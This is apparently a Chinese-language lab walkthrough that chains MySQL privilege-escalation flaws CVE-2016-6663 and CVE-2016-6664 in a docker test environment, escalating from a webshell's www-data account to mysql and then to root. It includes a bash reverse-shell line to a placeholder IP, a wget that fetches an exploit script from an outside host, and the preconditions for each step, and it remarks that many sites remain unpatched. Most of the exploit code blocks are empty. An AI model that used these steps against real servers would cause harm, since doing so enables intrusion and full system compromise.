0x00前言
Mysql之前爆出了CVE-2016-6662、CVE-2016-6663、CVE-2016-6664提权漏洞,影响了Mysql小于5.5.51或小于5.6.32或小于5.7.14及衍生版本。然而好多网站都没有升级,利用场景还是很多的,于是实践一下。
0x01环境搭建
1.采用tutum/lamp的docker作为测试系统环境
1 | # docker运行及必要环境配置 |
2.数据库配置
1 | # 添加用户test,密码123456,授予权限create,drop,insert,select |
0x02 www-data权限提升为mysql权限
利用CVE-2016-6663
1.菜刀链接webshell,然后上传需要用到的mysql-privesc-race.c文件,内容如下
1 |
|
2.反弹shell
1 | /bin/bash -i >& /dev/tcp/x.x.x.x/9999 0>&1 |
3.反弹shell的监听端,执行如下指令
1 | cd /var/www/html/ |
如图可以看到已提升为mysql权限
0x03Mysql权限提升为root权限
利用CVE-2016-6664
ps:目标主机配置必须是是基于文件的日志(默认配置),也就是不能是syslog方式
不过tutum/lamp日志方式为syslog,需要如下修改
1 | vim /etc/mysql/conf.d/mysqld_safe_syslog.cnf |
测试办法grep -r syslog /etc/mysql
返回没有任何结果既满足“基于文件的日志”要求
上传mysql-chowned.sh,内容如下
1 | #!/bin/bash -p |
必须以mysql权限执行才能成功提为root,可以利用CVE-2016-6663提升为mysql权限的shell执行如下指令
1 | wget http://legalhackers.com/exploits/CVE-2016-6664/mysql-chowned.sh |
如图可以看到已获得root权限
0x04回顾
www-data权限提升为mysql的条件
1.已经getshell,获得www-data权限
2.获取到一个拥有create,drop,insert,select权限的数据库账号,密码
3.提权过程需要在交互式的shell环境中运行,所以需要反弹shell再提权
mysql提升为root权限的条件
1.目标主机配置必须是是基于文件的日志(默认配置),也就是不能是syslog方式(通过cat /etc/mysql/conf.d/mysqld_safe_syslog.cnf查看没有包含“syslog”字样即可)
2.需要在mysql权限下运行才能利用(可通过上面的方式先获取mysql权限)
参考链接:
1.http://legalhackers.com/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit.html
2.http://legalhackers.com/advisories/MySQL-Maria-Percona-RootPrivEsc-CVE-2016-6664-5617-Exploit.html
3.http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html
4.http://bobao.360.cn/learning/detail/3027.html